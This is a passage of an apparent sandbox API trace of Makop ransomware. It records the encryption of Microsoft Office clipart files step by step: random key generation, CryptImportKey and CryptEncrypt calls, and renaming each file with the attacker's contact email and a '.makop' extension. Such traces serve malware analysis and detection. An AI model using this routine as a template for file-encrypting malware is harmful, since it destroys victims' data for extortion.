lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.351] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.351] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.352] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd14, lpOverlapped=0x0) returned 1 [0107.352] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20, dwBufLen=0xd20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20) returned 1 [0107.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.352] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd20, lpOverlapped=0x0) returned 1 [0107.352] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.352] SetEndOfFile (hFile=0xf0) returned 1 [0107.359] GetProcessHeap () returned 0x48a0000 [0107.359] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.359] GetProcessHeap () returned 0x48a0000 [0107.360] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.360] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.361] CloseHandle (hObject=0xf0) returned 1 [0107.361] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0107.362] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0107.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.363] GetProcessHeap () returned 0x48a0000 [0107.364] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.364] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.364] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.368] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.369] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.369] GetProcessHeap () returned 0x48a0000 [0107.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.369] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.369] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.369] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.369] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.369] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.370] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.370] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.370] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.370] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10c8, lpOverlapped=0x0) returned 1 [0107.375] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10d0) returned 1 [0107.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10d0, lpOverlapped=0x0) returned 1 [0107.376] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.376] SetEndOfFile (hFile=0xf0) returned 1 [0107.383] GetProcessHeap () returned 0x48a0000 [0107.383] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.383] GetProcessHeap () returned 0x48a0000 [0107.383] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.383] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.384] CloseHandle (hObject=0xf0) returned 1 [0107.384] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0107.384] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0107.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.385] GetProcessHeap () returned 0x48a0000 [0107.385] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.385] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.393] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.393] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.393] GetProcessHeap () returned 0x48a0000 [0107.393] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.393] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.393] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.393] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.394] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.394] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.394] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc9c, lpOverlapped=0x0) returned 1 [0107.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xca0, dwBufLen=0xca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xca0) returned 1 [0107.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.395] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xca0, lpOverlapped=0x0) returned 1 [0107.395] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.395] SetEndOfFile (hFile=0xf0) returned 1 [0107.402] GetProcessHeap () returned 0x48a0000 [0107.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.402] GetProcessHeap () returned 0x48a0000 [0107.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.402] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.404] CloseHandle (hObject=0xf0) returned 1 [0107.404] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0107.404] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0107.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.405] GetProcessHeap () returned 0x48a0000 [0107.405] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.405] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.410] GetProcessHeap () returned 0x48a0000 [0107.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.410] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.410] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.411] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12c8, lpOverlapped=0x0) returned 1 [0107.414] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12d0) returned 1 [0107.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12d0, lpOverlapped=0x0) returned 1 [0107.414] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.414] SetEndOfFile (hFile=0xf0) returned 1 [0107.420] GetProcessHeap () returned 0x48a0000 [0107.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.420] GetProcessHeap () returned 0x48a0000 [0107.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.421] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.422] CloseHandle (hObject=0xf0) returned 1 [0107.422] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0107.422] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0107.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.423] GetProcessHeap () returned 0x48a0000 [0107.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.423] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.428] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.428] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.428] GetProcessHeap () returned 0x48a0000 [0107.428] 